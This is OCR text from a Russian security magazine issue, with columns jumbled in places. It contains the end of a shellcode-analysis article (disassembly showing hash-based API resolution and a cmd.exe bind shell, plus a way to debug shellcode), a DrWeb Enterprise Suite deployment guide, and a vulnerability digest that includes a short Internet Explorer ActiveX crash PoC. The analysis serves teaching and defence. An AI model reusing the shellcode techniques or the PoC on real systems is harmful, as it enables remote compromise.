NT/2000», электронная версия которой доступна семблерный трюк: по адресу: http://undocumented.ntinternals.net. Листинг 13. Древний антидизассемблерный трюк – Из нее мы узнаем, что по смещению 0Ch от начала PEB прыжок в середину команды лежит указатель на структуру PEB_LDR_DATA, по смеще; CODE XREF: seg000:0000001C↓p нию 1Ch от начала которой лежит список. Не указатель seg000:019 loc_19: на список, а сам список, состоящий из двух двойных слов: ; скрытая команда в операнде seg000:019 6A EB push FFFFFFEBh указателя на следующий LIST_ENTRY и указателя на экзем; продолжение скрытой команды пляр структуры LDR_MODULE, перечисленных в порядке seg000:01B 4D dec ebp ; вызов в середину push инициализации модулей, а первым, как известно, инициаseg000:01C E8 F9 FF FF FF call loc_19+1 лизируется KERNEL32.DLL. ; сохраняем все регистры seg000:021 60
pusha
Команда «CALL LOC_19+1» прыгает куда-то в середину инструкции PUSH, засылающей в стек константу FFFFFFEBh, в которой опытные кодокопатели уже наверняка увидели инструкцию безусловного перехода, заданную опкодом EBh, а вся команда выглядит так: EBh 4Dh, где 4Dh «отрываются» от инструкции DEC EBP. Важно не забывать, что PUSH с опкодом 6Ah – это знаковая команда, то есть никаких FFh в самом опкоде нет, поэтому вместо перехода по адресу EBh FFh (как это следует из дизассемблерного текста) мы получаем переход по адресу EBh 4Dh (как это следует из машинного кода), что совсем не одно и то же! Сам переход, кстати говоря, относительный и вычисляется от конца команды JMP, длина которой в данном случае равна двум. Складываем 4Dh (целевой адрес перехода) с 1Ah (адрес самой команды перехода – loc_19 + 1 = 1Ah)
64
Листинг 15. Недокументированная структура PEB_LDR_DATA /* /* /* /* /* /*
00 04 08 0C 14 1C
*/ */ */ */ */ */
ULONG BOOLEAN PVOID LIST_ENTRY LIST_ENTRY LIST_ENTRY
Length; Initialized; SsHandle; InLoadOrderModuleList; InMemoryOrderModuleList; InInitializationOrderModuleList;
Описание самой структуры LDR_MODULE выглядит так (кстати говоря, в «The Undocumented Functions Microsoft Windows NT/2000» допущена грубая ошибка – пропущен union): Листинг 16. Недокументированная структура LDR_MODULE typedef struct _LDR_MODULE { union order_type { /* 00 */ LIST_ENTRY InLoadOrderModuleList; /* 00 */ LIST_ENTRY InMemoryOrderModuleList;
безопасность /* 00 */ LIST_ENTRY InInitializationOrderModuleList; } /* 08 */ PVOID BaseAddress; /* 0C */ PVOID EntryPoint; /* 10 */ ULONG SizeOfImage; /* 14 */ UNICODE_STRING FullDllName; /* 18 */ UNICODE_STRING BaseDllName; /* 1C */ ULONG Flags; /* 20 */ SHORT LoadCount; /* 22 */ SHORT TlsIndex; /* 24 */ LIST_ENTRY HashTableEntry; /* 28 */ ULONG TimeDateStamp; } LDR_MODULE, *PLDR_MODULE;
Самая трудная часть позади. Теперь мы точно знаем, что EAX содержит базовый адрес KERNEL32.DLL. Продолжаем анализировать дальше. Листинг 17. Вызов API-функции по хэш-именам ; esi := &MyGetProcAddress seg000:00000079 5E ; #LoadLibraryA seg000:0000007A 68 8E 4E 0E EC ; base of KERNEL32.DLL seg000:0000007F 50 ; MyGetProcAddress seg000:00000080 FF D6
pop push
esi
0EC0E4E8Eh push
eax
call
esi
Команда POP ESI выталкивает в регистр ESI двойное слово, лежащее на вершине стека. А что у нас там? Помните команду CALL, передающую управление хитрой инструкции JMP? Она положила на стек адрес возврата, то есть адрес следующей за ней команды, равный в данном случае 021h, который тут же и вызывается инструкцией CALL ESI, принимающей два аргумента – базовый адрес KERNEL32.DLL, передаваемый в регистре EAX и непонятную константу 0EC0E4E8Eh. Листинг 18. Процедура MyGetProcAddress, возвращающая адрес API-функции по хэш-сумме его имени ; сохраняем все регистры seg000:00000021 60 ; base of KERNEL32.DLL seg000:00000022 8B 6C 24 24 ; PE header seg000:00000026 8B 45 3C ; export table RVA seg000:00000029 8B 7C 05 78 ; адрес таблицы экспорта seg000:0000002D 01 EF ; numberOfNamePointers seg000:0000002F 8B 4F 18 ; namePointerRVA seg000:00000032 8B 5F 20 ; namePointer VA seg000:00000035 01 EB seg000:00000037 ; CODE XREF: seg000:00000050↓j seg000:00000037 loc_37: ; обрабатываем следующее имя seg000:00000037 49 ; RVA-адрес функции seg000:00000038 8B 34 8B ; виртуальный адрес функции seg000:0000003B 01 EE ; EAX := 0 seg000:0000003D 31 C0 ; EDX := 0 seg000:0000003F 99 seg000:00000040 ; CODE XREF: seg000:0000004A↓j seg000:00000040 loc_40: ; читаем очередной байт имени seg000:00000040 AC ; это конец имени? seg000:00000041 84 C0
№8, август 2006
pusha mov
ebp, [esp+24h]
mov
eax, [ebp+3Ch]
mov
edi, [ebp+eax+78h]
add
edi, ebp
mov
ecx, [edi+18h]
mov
ebx, [edi+20h]
add
ebx, ebp
dec
ecx
mov
esi, [ebx+ecx*4]
add
esi, ebp
xor
eax, eax
cdq
lodsb test
al, al
; если конец, выходим из цикла seg000:00000043 74 07 jz ; следующие 2 строчки хэшируют имя seg000:00000045 C1 CA 0D ror seg000:00000048 01 C2 add ; мотаем цикл seg000:0000004A EB F4 jmp seg000:0000004C ; CODE XREF: seg000:00000043↑j seg000:0000004C loc_4C: ; это «наш» хэш? seg000:0000004C 3B 54 24 28 cmp ; продолжаем поиск, если не наш seg000:00000050 75 E5 jnz ; ordinalTableRVA seg000:00000052 8B 5F 24 mov ; ordinalTable VA seg000:00000055 01 EB add ; index seg000:00000057 66 8B 0C 4B mov ; exportAddressTableRVA seg000:0000005B 8B 5F 1C mov ; exportAddressTable VA seg000:0000005E 01 EB add ; вот она наша функция!!! seg000:00000060 03 2C 8B add ; сохраняем в EAX ; восстанавливаем регистры seg000:00000063 89 6C 24 1C mov seg000:00000067 61 popa ; возвращаемся из функции seg000:00000068 C3 retn
short loc_4C edx, 0Dh edx, eax short loc_40
edx, [esp+28h] short loc_37 ebx, [edi+24h] ebx, ebp cx, [ebx+ecx*2] ebx, [edi+1Ch] ebx, ebp ebp, [ebx+ecx*4] [esp+1Ch], ebp
Зная базовый адрес загрузки KERNEL32.DLL (он передается функции через стек и лежит по смещению 24h байта от вершины – остальное пространство занимают регистры, сохраненные командой PUSHA), программа получает указатель на PE-заголовок, откуда извлекает указатель на таблицу экспорта, считывая общее количество экспортируемых имен (numberOfNamePointers) и RVA-указатель на массив с именами, который тут же преобразуется в эффективный виртуальный адрес путем сложения с базовым адресом загрузки KERNEL32.DLL. А вот дальше… дальше начинается самое интересное! Для каждого из экспортируемых имен функция вычисляет хэш, сравнивая его с тем «загадочным» числом. Если они совпадают, искомая API-функция считается найденной, и возвращается ее виртуальный адрес. Таким образом, данный код представляет собой аналог функции GetProcAddress, только с той разницей, что он принимает не ASCII-имя функции, а его 32-битный хэш. Условимся называть эту процедуру MyGetProcAddress. Можно ли восстановить имя функции по ее хэшу? С математической точки зрения – навряд ли, но что мешает нам запустить shell-код под отладчиком (см. одноименную врезку) и «подсмотреть» возвращенный виртуальный адрес, по которому имя определяется без проблем! Сказано – сделано! Немного протрассировав программу до строки 82h, мы обнаруживаем в регистре EAX число 79450221h (зависит от версии системы, на вашей машине наверняка будет иным). Нормальные отладчики (типа OllyDbg) тут же покажут имя функции LoadLibraryA. Как вариант можно воспользоваться утилитой DUMPBIN из Platform SDK, запустив ее со следующими ключами: «dumpbin KERNEL32.DLL /EXPORTS > kernel32», только помните, что она показывает относительные RVA-адреса, поэтому необходимо либо добавить к ним базовый адрес загрузки KERNEL32.DLL, либо вычесть его из адреса искомой функции.
65
безопасность Листинг 19 загрузка библиотеки ws2_32 для работы с сокетами и ее инициализация ; "ws2_32" seg000:00000082 66 seg000:00000084 66 seg000:00000088 68 ; &"ws2_32" seg000:0000008D 54 ; LoadLibraryA seg000:0000008E FF ; WSAStartup seg000:00000090 68 seg000:00000095 50 ; MyGetProcAddress seg000:00000096 FF
53 68 33 32 77 73 32 5F
push push push
bx small 3233h 5F327377h
push
esp
D0
call
eax
CB ED FC 3B
push push
3BFCEDCBh eax
D6
call
esi
Имея в своем распоряжении функцию LoadLibraryA, shellкод загружает библиотеку ws_2_32 для работы с сокетами, имя которой передается непосредственно через стек и завершается двумя нулевыми байтами (хотя было бы достаточно и одного), формируемого командой PUSH BH (как мы помним, несколькими строками выше EBX был обращен в ноль – см. листинг 9). PUSH BH это двухбайтовая команда, в то время как PUSH EBX – однобайтовая. Но не будем придираться по мелочам. Процедура MyGetProcAddress снова принимает «магическое» число 3BFCEDCBh, которое после расшифровки под отладчиком оказывается API-функцией WSAStartup, вызов которой совершенно не оправдан, поскольку для инициализации библиотеки сокетов ее достаточно вызвать один-единственный раз, что уже давно сделало уязвимое приложение, иначе как бы мы ухитрились его удаленно атаковать? Последовательность последующих вызовов вполне стандартна: WSASocketA(2, 1, 0,0,0,0) → bind(s, {sockaddr_in.2; sin_port.0x621Eh}, 0x10) → listen(s,2) → accept (s, *addr, *addrlen) → closesocket(s)
Дождавшись подключения на заданный порт, shell-код
считывает ASCII-строку, передавая ее командному интерпретатору cmd.exe по следующей схеме: CreateProcessA(0, "cmd...", 0,0, 1,0,0,0, lpStartupInfo, lpProcessInformation) → WaitForSingleObject(hProc, -1) → ExitThread(0)
Злоумышленник может запускать любые программы и выполнять пакетные команды, что дает ему практически неограниченную власть над системой, разумеется, если брандмауэр будет не прочь, но про обход брандмауэров уже неоднократно писали.
Заключение Вот мы и познакомились с основными приемами исследования эксплоитов. Остальные анализируются аналогично. Главное не теряться и всегда в любой ситуации помнить, что Интернет рядом с тобой! Достаточно лишь правильно составить запрос, и все недокументированные структуры будут видны как на ладони, ведь недра операционных систем уже изрыты вдоль и поперек, так что крайне маловероятно встретить в shell-коде нечто принципиально новое. То есть встретить как раз-таки очень даже вероятно, но «новым» оно пробудет от силы неделю. Ну пусть десять дней. А после начнет расползаться по форумам, электронным и бумажным журналам, будет обсуждаться в курилках и хакерских кулуарах наконец. А затем Microsoft выпустит очередное исправление к своей замечательной системе, и таким трудом добытые трюки станут неактуальными. 1. Системные вызовы NT. Наиболее полная коллекция системных вызовов всей линейки NT-подобных систем, крайне полезна для исследователей (на английском языке): http://www. metasploit.com/users/opcode/syscalls.html; 2. Системные вызовы по LINUX. Энциклопедия системных вызовов различных LINUX-подобных систем с прототипами, а коегде и с комментариями (на английском языке): http://www.lxhp. in-berlin.de/lhpsyscal.html.
Как запустить shell-код под отладчиком Статические методы исследования, к которым относятся дизассемблеры, не всегда удобны, и во многих случаях отладка намного более предпочтительна. Однако отладчиков, способных отлаживать shell-код, не существует, и приходится хитрить. Пишем простую программу наподобие «hello, word!», компилируем. Открываем полученный исполняемый файл в hiew, привычным нажатием клавиши <ENTER> переключаемся в hex-режим, давим <F8> (header) и переходим в точку входа по <F5>. Нажимаем <*> и выделяем курсором некоторое количество байт, такое – чтобы было не меньше размера shell-кода. Нажимаем <*> еще раз для завершения выделения и перемещаем курсор в начало выделенного блока (по умолчанию он будет раскрашен бордовым). Давим <Ctrl-F2>, в появившемся диалоговом окне вводим имя файла (в данном случае shellcode) и после завершения процесса загрузки блока с диска выходим из hiew. <F9> можно не нажимать, т. к. изменения сохраняются автоматически. Ругательство «End of input file» означает, что размер выделения превышает размер файла. В данном случае это нормальная ситуация. Хуже, когда наоборот (если часть файла окажется незагруженной, shell-код, естественно, работать не будет).
66
Рисунок 4. Shell-код, отлаживаемый в отладчике OllyDbg
После этой несложной хирургической операции исполняемый файл можно отлаживать любым отладчиком – хоть soft-ice, хоть OllyDbg, но перед этим необходимо отредактировать атрибуты кодовой секции (обычно она называется .text), разрешив ее модификацию, иначе shell-код выбросит исключение при первой же попытке записи. Проще всего обработать файл с помощью утилиты EDITBIN, входящей в штатный комплект поставки компилятора Microsoft Visual C++, запустив ее следующим образом: Листинг 20. Снятие с кодовой секции запрета на запись EDITBIN filename.exe /SECTION:.text,rwe
безопасность
Настраиваем DrWeb Enterprise Suite
Антон Борисов Мало кто ставит под сомнение факт, что на современном рабочем месте должен стоять антивирусный пакет. Сегодня вирусы берут не умением, а числом. В основном они не разрушают информацию – они создают условия к утечке коммерческой информации. Как защитить предприятие от вирусной активности?
С
одной стороны, можно отфильтровывать входящие и исходящие почтовые сообщения через почтовый шлюз. Здесь замечательно вписываются как коммерчес-
68
кие продукты, так и продукты формата Open Source. Можно настроить систему фильтрации содержимого, которое проходит через proxy-серверы, здесь также достаточно альтернатив. По су-
ти происходит принудительная очистка от транзитных вирусных приложений. А стоит ли производить повсеместное развертывание антивирусных пакетов на каждом рабочем месте? Без-
безопасность условно, никто это не ставит под сомнение. Но что именно выбрать в качестве основы, чтобы был централизованный центр обновления антивирусных агентов, имелся единый центр управления и велась оперативная статистика? На мой взгляд, стоит обратить внимание на антивирусные решения масштаба предприятия (Enterprise Solutions). На сегодняшний день наиболее распространенными являются enterprise-решения от компаний: Symantec – Symantec AntiVirus Enterprise Edition [1]. Eset Software – NOD32 Enterprise Edition [2]. Sophos – Endpoint Security [3]. McAfee – McAfee Total Protection Enterprise [4]. F-Secure – F-Secure Anti-Virus for Workstations [5]. Panda – Panda EnterpriSecure Antivirus [6]. «ООО «Доктор Веб» – DrWeb Enterprise Suite [7]. «Лаборатория Касперского» – Kaspersky Corporate Suite [8].
пуска сервера. Здесь пока преждевременно думать о свежих базах и версиях, т.к. мы затем настроим обновление ПО и новые версии получим по сети, через сервис GUS – Global Update System. Серверная часть антивирусного ПО доступна как для Windows-платформы, так и для UNIX/Linux-систем. Когда вы решите разворачивать систему на базе Linux-сервера, то предварительно узнайте, какая GLIBC-библиотека используется в вашей системе, и забирайте нужную вам версию. Здесь и далее я буду расcматривать установку на Linuxсервер. Итак, забираем с сайта архив, совместимый с версией GLIBC-библиотеки в вашей системе (для моей системы – Slackware Linux 10.2 – оказался подходящим архив для Debian [17]): $ wget ftp://ftp.drweb.com/pub/drweb/esuite/ ↵ drweb-es-4.33-200510280-linux-debian-sarge.tar.gz $ wget ftp://ftp.drweb.com/pub/drweb/esuite/ ↵ drweb-es-4.33-200510280-unices.tar.gz $ tar xzvf drweb-es-4.33-200510280-linux-debian-sarge.tar.gz $ tar xzvf drweb-es-4.33-200510280-unices.tar.gz
Последние два продукта выпускаются отечественными компаниями. Что из себя представляет антивирусное программное обеспечение масштаба предприятия? Это в первую очеСоздаем группу и пользователя в системе, от имени редь специализированный продукт, к примеру, от одной которого будет запускаться серверная часть антивирусиз вышеперечисленных компаний. Во-вторых, это клиент- ного пакета: серверный программный комплекс, задача серверной час# groupadd drwcs ти в котором – обеспечивать централизованное обновле# adduser drwcs ние по сети антивирусного обеспечения для клиентов, вести журнал, где учитывается, на какой именно рабочей станВ директорию /opt копируем содержание распакованноции произошел тот или иной случай инфицирования, а так- го архива drweb-es-4.33-200510280-unices.tar.gz: же некоторые другие события. А задача клиентской час# cp -R opt /opt/drwcs ти, которая была предварительно установлена на рабочей # chown -R drwcs:drwcs /opt/drwcs станции, – предотвращать «инфекции», производить «лечение». В целом общий функционал у всех решений одиНа этом шаге установка почти завершена. Будучи комнаков. Что же касается деталей, то здесь намного интерес- мерческим продуктом, DrWeb Enterprise Suite не будет рабонее, т.к. приходится рассматривать такие критерии, как со- тать без ключа активации. Ключ генерирует дилер компаотношение цена/качество, сертификация в отечественных нии или сама компания на срок подписки, например, на год. агентствах по информатизации, возможность использова- В нем также учитывается, для скольких клиентских мест куплена поддержка. Будем считать, что ваша компания ния на объектах повышенной секретности и т. п. Наша компания остановила свой выбор на антивирус- купила поддержку для 100 рабочих мест, ключ передан по ном пакете DrWeb. Легковесный антивирус – размер анти- электронной почте или другим способом. Переносим его на вирусного клиента, устанавливаемого на рабочем месте, наш Linux-сервер. Будем считать, что файл – enterprise.key – достаточно компактен – несколько мегабайт. Есть русский находится на вашей рабочей станции UNIX и передаваться язык. И что немаловажно – грамотная техническая подде- будет по SSH-протоколу. ржка. Вполне возможно, что вам и не придется обращаться $ scp enterprise.key drwcs@drwcs.lan.net:/opt/drwcs/etc за помощью, т.к. описания и документация, идущие с продуктом, охватывают, пожалуй, все ключевые моменты, коТаким образом, мы передали по SSH-протоколу ключ акторые могут возникнуть. Однако в вашей организации в качестве настольного антивируса может выступать решение тивации, от которого зависит работа серверной части коми другой компании, благо их на рынке не две и даже не три. плекса. Не лишним будет сказать, что данный ключ актиВыбор на самом деле более чем богатый. Наш выбор прохо- вации – секретная часть комплекса, которая используется дил достаточно давно, и в целом работа продукта на протя- только на серверной стороне. Для работы комплекса следует еще сгенерировать жении нескольких лет нас удовлетворяла, поэтому вполне логичным был шаг, что в дальнейшем мы перешли на ком- приватный и публичный ключи. Что это такое и для чего нужно? плексное решение – DrWeb Enterprise Suite. Чтобы клиентская часть комплекса, которая устанавливается на рабочую станцию, смогла подключиться к сервеУстановка программного комплекса С сайта компании загрузите серверную часть. В ее состав ру и быть им опознана, используется асимметричная схевходит и базовый комплект для агента – это ядро и те ан- ма криптования, в какой-то степени аналогичная PGP. С потивирусные базы, которые были доступны на момент вы- мощью публичного ключа, который используется на рабо-
№8, август 2006
69
безопасность esac exit 0
Хотя официально Slackware Linux не поддерживается, однако совместимость GLIBC-библиотеки (2.3.2) на моей системе с Debian-системой, для которой уже есть архив на сайте фирмы, позволила развернуть антивирусный комплекс и на этой системе. На этом серверная часть готова. Запускаете серверную часть с помощью скрипта /etc/rc.d/rc.drwebd: # /etc/rc.d/rc.drwebd start
Рисунок 1. Консоль управления комплексом
чей станции, и приватного ключа, который находится непосредственно на сервера, происходит установка шифрованного канала связи. По нему будут передаваться как сами антивирусные базы и обновления от сервера к клиенту, так и информация о заражении и статистика в обратном направлении. $ $ $ $ $
cd /opt/drwcs bin/drwsign genkey etc/drwcsd.pri etc/drwcsd.pub chmod 600 etc/drwcsd.pri chown drwcs:drwcs etc/drwcsd.pri mv etc/drwcsd.pub Installer
И подготовьте еще один компонент – саму базу данных, где будет храниться вся текущая информация о станциях, вирусной активности, лечении и т. п. $ bin/drwcsd -var-root=./var -verbosity=all ↵ -log=var/server.log initdb agent.key
База проинициализирована (см. документацию к продукту [18]). Теперь подготовим стартовый скрипт для запуска серверной части. У меня используется следующий вариант. Скрипт запуска/остановки серверной части для Slackware Linux #!/bin/sh DISTVER="Slackware 10.0" BIN=/opt/drwcs case "$1" in start) cd $BIN echo -n "Starting DRWEB Engine ..." su - drwcs -c "$BIN/bin/drwcsd -home=$BIN ↵ -var-root=$BIN/var -verbosity=all ↵ -log=$BIN/var/server.log -rotate=5,500000 ↵ -daemon -pid=$BIN/var/drwebd.pid" echo -e " Done" ;; stop) echo -n "Stopping DRWEB Engine ..." killall -15 drwcsd-unsafe echo -e " Done" ;; restart) $0 stop $0 start ;; echo "Usage: $0 {start|stop|restart}" exit 1
70
Следующим шагом подготовьте установочные файлы для инсталляции на рабочих местах. Я поступил вот как – сделал самораспаковывающийся архив, в который я поместил файлы: drwinst.exe, drwcsd.pub, drwebc.bat. Первый файл – это инсталлятор, задача которого зарегистрировать рабочую станцию на сервере с помощью публичного ключа сервера (второй файл). А затем загрузить с сервера необходимые антивирусные обновления. Третий файл – пакетный, в котором хранится IP-адрес антивирусного сервера. drwinst.exe -interactive -verbosity=all drwcs.lan.net
Не обязательно явно указывать адрес для сервера, т.к. установочный компонент посылает в сеть multicast-запросы, с помощью которых и определяется нужный IP-адрес сервера. Однако в сети со множеством маршрутизаторов и роутеров, лучше использовать явное задание адреса. Самораспаковывающийся архив я разместил на вебстранице сервера, так что, кроме самого DrWeb Enterprise Suite, на Linux-сервере еще крутится и Аpache-сервер. Решение достаточно удобно, ибо на рабочем месте запускается Internet Explorer, с помощью которого загружается архив. Затем архив распаковывается и запускается файл drwebc.bat. После регистрации рабочих станций основная работа уже происходит на станции, с которой управляется антивирусный комплекс. Данная работа производится через консоль управления (см. рис. 1). Все рабочие станции можно разбить на отдельные группы, для каждой из которых составить правила, в частности, расписание на ежедневное или еженедельное сканирование, политика локального доступа с рабочих станций, т.е. можно ли останавливать клиентскую часть или нельзя и т. п. Все станции, которые в данный момент включены, находятся в группе Online. Те же, которые выключены, находятся в группе Offline. Как я уже отмечал, за непосредственную защиту отвечает клиентская часть комплекса (Enterprise Agent), которая представлена 3 компонентами: Dr.Web Scanner for Windows, Spider Guard for Windows и Spider Mail for Windows Workstations. Первый компонент предназначен для сканирования рабочей станции, может быть запущен как с самой рабочей станции, так и с операторской консоли управления. Второй компонент отвечает за проверку всех тех файлов, к которым происходит обращение операционной системы
безопасность в режиме runtime. Третий компонент отвечает за проверку входящей и исходящей почты. То есть как только вы начинаете получать email с помощью почтового клиента, то все входящие сообщения будут проверены еще и этим компонентом. Чем хороша статистика, так это тем, что вы точно знаете, где и когда произошел факт инфицирования (см. рис. 2). А также названия наиболее «популярных» вирусов в вашей организации, которые были излечены (а иначе откуда бы вы знали об их существовании?). Это здорово, когда организация небольшая и подключений к глобальным сетям нет. Однако и в таких условиях вероятность того, что на ПЭВМ организации есть хотя бы один макровирус в докуРисунок 2. Статистика по группе «Online». ментах Microsoft Word, в различного роСогласно расписанию происходит обновление комплекда архивах, которые принесли сотрудники из дома, от знакомых или еще откуда-нибудь, будет отличаться от нуле- са. Однако что именно обновлять? Чтобы узнать это, стовой. Лучше изначально считать, что «пациент скорее ин- ит заглянуть в пункт «Administration → Configure Repository». фицирован, нежели здоров». Однако и панику разводить, Репозитарий представлен 5 частями: сам сервер, антивирусные базы, клиентская часть, консоль управления, агент. конечно же, не стоит. Серверная часть антивирусного комплекса периоди- В настройках репозитария можно указать proxy-сервер, чечески производит действия, указанные в расписании. На- рез который вы выходите в Интернет и через который будут пример, каждый час происходит проверка на наличие но- забираться новые версии продукта. Допустимо настраивать вых обновлений и антивирусных баз. На рис. 3 приведе- репозиторий как по отдельным компонентам, так и в цено расписание, которое будет использовано по умолча- лом (см. рис. 4, 5). Работа над программным комплексом ведется постонию. Вы можете изменить его, добавив новый пункт или изменить время, когда необходимо производить те или янно, и появляются все новые и новые функции. Когда я только начал работать с Enterprise Server, многих функиные действия. ций просто не было. Например, не было просмотра текущей загруженности сервера, не было статистики по суммарному трафику, прошедшему через антивирусный сервер и т. п. В новой версии (речь идет о 4.33) они представлены и, как мне кажется, очень удачно вписываются в общую картину (см. рис. 6, 7). Рассказ был бы неполным, если бы я не упомянул о том, как делать регулярную выгрузку базы. Какая цель здесь Рисунок 3. Расписание сервера. преследуется? Во-первых, самое ценное в работе антивирусного пакета – это информация о зарегистрированных станциях, точнее о hash-ключах, которые формируются при регистрации. Она хранится как на станции, так и в базе антивирусного сервера. Отчасти по этим ключевым данным происходит «узнавание» зарегистрированных станций. Во-вторых, знать, когда и где произошла «эпидемия» также важно. Поэтому даже если физически произойдет отказ сервера и у вас будет резервная копия антивирусной базы, то ввод в эксплуатацию нового серверного «железа», взамен отказавшего займет довольно короткое время. Не нужно будет заново регистрировать станций. Смотрите файл export_idb.sh. Скрипт для выгрузки внутренней БД #!/bin/sh Рисунок 4. Компонент репозитория «Enterprise Agent».
№8, август 2006
######################################################### # Exporting internal DrWEB DB into .SQL dump script
71
безопасность export LC_ALL="C" $DRWENGINE stop echo "Engine Stopped"; echo "Sleep 10 seconds"; sleep 10s; OUTPUT=`$ECHO IDB.$($DATE +%d_%b_%Y_-_%k_%M).sql.bz2`; echo "Exporting Internal DrwebDB into $OUTPUT ↵ .sql script"; $IDBSH $IDB ".dump" | $BZ2 > $OUTPATH$OUTPUT
Рисунок 5. Общая настройка репозитория подразумевает глобальную настройку.
echo "DrWEB IntDB dumped" $DRWENGINE start
Осталось добавить в cron новое расписание и вуаля! 50 0 * * * /root/System/export_idb.sh > /dev/null 2>&1
В качестве заключения
Рисунок 6. Суммарная статистика сервера.
Несмотря на то что существует множество альтернативных, как коммерческих, так и бесплатных антивирусных программных решений, стоит отметить, что компания «ООО «Доктор Веб» была одной из первых, кто предложил подобную методологию антивирусного управления. Что касается качества программного кода, а именно безаварийность в работе рабочих станций при развертывании системы и/или переходе со старой версии комплекса на новую, то в этой ситуации стоит понимать простые истины. Как и везде существуют стадии проверки и отладки, так и у рассмотренного комплекса есть beta-версии, задача которых «отловить» острые моменты и устранить их. Если придерживаться принципа здорового консерватизма и развертывать систему в стадии stable, то это позволит вам читать страшные истории о последствиях установки системы с улыбкой на устах. На этом всё, успехов! 1. 2. 3. 4. 5. 6. 7. 8. 9. 10.
Рисунок 7. Графические данные. # 28 Sep 2005, AB ######################################################### DATE=/usr/bin/date IDBSH=/opt/drwcs/bin/drwidbsh IDB=/opt/drwcs/var/dbinternal.dbs BZ2=/usr/bin/bzip2 ECHO=/usr/bin/echo DRWENGINE=/etc/rc.d/rc.drwebd OUTPATH=/root/System/drweb/
72
11. 12. 13. 14. 15.
http://www.symantec.com. http://www.esetnod32.ru/products/ee.htm. http://www.sophos.com/products/es. http://www.mcafee.com/us/enterprise/index.html. http://www.f-secure.com/small_businesses/products/fsavwks. html. http://www.panda-antivirus.ru/images2/panda-prod.html. http://solutions.drweb.com/business/esuite – Drweb Enterprise Suite. http://www.kaspersky.ru/products?chapter=145665459. ftp://ftp.drweb.com/pub/drweb/esuite/drweb-es-4.33-200510280linux-debian-sarge.tar.gz. http://www.drweb.ru/download/627 – документация к продукту Drweb ES. http://www.kaspersky.ru/corporatesolutions – Kaspersky Corporate Suite. http://www.f-secure.com/products/anti-virus/enterprisesuite. http://eset.com/products/enterprise_edition.php. http://www.sophos.com/products/es/endpoint-server/security. html. http://www.mcafee.com/us/enterprise/products/security_suite_ solutions/total_protection_solutions/total_protection_enterprise. html.
bugtraq Переполнение буфера в DHCP-клиенте в Microsoft Windows
Переполнение буфера при обработке JPEG-изображений в Opera
Программа: Microsoft Windows 2000, Microsoft Windows XP, Microsoft Windows 2003. Опасность: Критическая. Описание: Уязвимость существует из-за ошибки проверки границ данных в DHCP-клиенте при обработке DHCP-ответов. Удаленный пользователь может послать специально сформированный DHCP-пакет и выполнить произвольный код на целевой системе. URL производителя: www.microsoft.com. Решение: Установите исправление с сайта производителя.
Программа: Opera 8.54, возможно, более ранние версии. Опасность: Критическая. Описание: Целочисленное переполнение буфера существует из-за ошибки при обработке JPEG-изображений. Удаленный пользователь может с помощью специально сформированного JPEG-изображения выполнить произвольный код на целевой системе. URL производителя: www.opera.com. Решение: Установите последнюю версию (9.0) с сайта производителя.
Целочисленное переполнение буфера в libwmf
Программа: Microsoft Windows 2000, Microsoft Windows XP, Microsoft Windows 2003. Опасность: Критическая. Описание: 1. Переполнение буфера существует в драйвере SRV.SYS службы Server при обработке Mailslot-сообщений. Удаленный пользователь может с помощью специально сформированного пакета вызвать отказ в обслуживании или выполнить произвольный код на целевой системе. 2. Уязвимость существует из-за некорректной инициализации буфера при обработке SMB-пакетов. Удаленный пользователь может с помощью специально сформированного SMB-пакета просмотреть некоторые фрагменты памяти. URL производителя: www.microsoft.com. Решение: Установите исправление с сайта производителя.
Программа: libwmf 0.2.8.4, возможно, другие версии. Опасность: Высокая. Описание: Целочисленное переполнение буфера существует из-за отсутствия проверки входных данных, полученных из WMF-файла. Удаленный пользователь может с помощью специально сформированного WMF-файла вызвать переполнение динамической памяти и выполнить произвольный код на целевой системе. URL производителя: wvware.sourceforge.net/libwmf.html. Решение: В настоящее время способов устранения уязвимости не существует.
Переполнение буфера в WinRAR Программа: WinRAR 3.60 beta 6, возможно, более ранние версии. Опасность: Высокая. Описание: Уязвимость существует из-за ошибки при обработке самораспаковывающихся SFX-архивов. Удаленный пользователь может с помощью специально сформированного архива вызвать переполнение буфера и выполнить произвольный код на целевой системе. URL производителя: www.rarlab.com. Решение: В настоящее время способов устранения уязвимости не существует.
Целочисленное переполнение буфера в Apple iTunes Программа: Apple iTunes версии до 6.0.5. Опасность: Высокая. Описание: Целочисленное переполнение буфера существует из-за ошибки при обработке AAC-медиафайлов (.M4A и .M4P), содержащих специально сформированное значение sample_size_table. Удаленный пользователь может с помощью специально сформированного AAC-файла вызвать повреждение памяти и выполнить произвольный код на целевой системе. URL производителя: www.apple.com/itunes. Решение: Установите последнюю версию (6.0.5) с сайта производителя.
№8, август 2006
Переполнение буфера в службе Server
Повреждение памяти в HTML Help ActiveX-компоненте в Internet Explorer Программа: Microsoft Internet Explorer 6.x. Опасность: Высокая. Описание: Уязвимость существует из-за ошибки в HTML Help ActiveX-компоненте (hhctrl.ocx) при обработке свойства Image. Удаленный пользователь может установить несколько раз слишком длинную строку для уязвимого свойства, вызвать повреждение памяти и выполнить произвольный код на целевой системе. Пример: function Demo() { var a = new ActiveXObject("Internet.HHCtrl.1"); var b = unescape("XXXX"); while (b.length < 256) b += b; for (var i=0; i<4096; i++) { a['Image'] = b + ""; }
} <input type='button' onClick='Demo()' value='Start Demo!'>
URL производителя: www.microsoft.com. Решение: В настоящее время способов устранения уязвимости не существует.
Составил Александр Антипов
73
web
Контролируем доступ к веб-сервису с помощью DACS
Сергей Яремчук Если для настольных систем проблему аутентификации и авторизации можно считать решенной, то стандартные механизмы, используемые в веб-сервисах, пока еще не удовлетворяют современным требованиям безопасности.
Недостатки базовой и digest-аутентификаций В протоколе HTTP предусмотрено два типа аутентификации: basic и digest, которые определены в RFC 2617. Их механизм очень подробно рассмотрен в статьях Алексея Мичурина [1, 2]. Остановлюсь на недостатках. Для базовой аутентификации самым главным недостатком является пе-
74
редача пароля в открытом виде. И, кро- раняемой области. Не защищена basicме того, веб-браузер запоминает эту схема и от перебора пароля. информацию и передает ее серверу В digest-схеме эти проблемы часпри каждом обращении, а если не очис- тично решены. По сети (опять же тить кэш браузера, то возможно полу- при каждом обращении) передается чить доступ к серверу без ввода паро- Response, который представляет соля даже через неделю, месяц. Самое бой контрольную (обычно MD5) сумму главное, что у злоумышленника всегда от комбинации логина, пароля, запрабудет возможность перехватить логин шиваемого URL, метода HTTP и строки и пароль и получить доступ ко всей ох- nonce, генерируемой сервером при от-
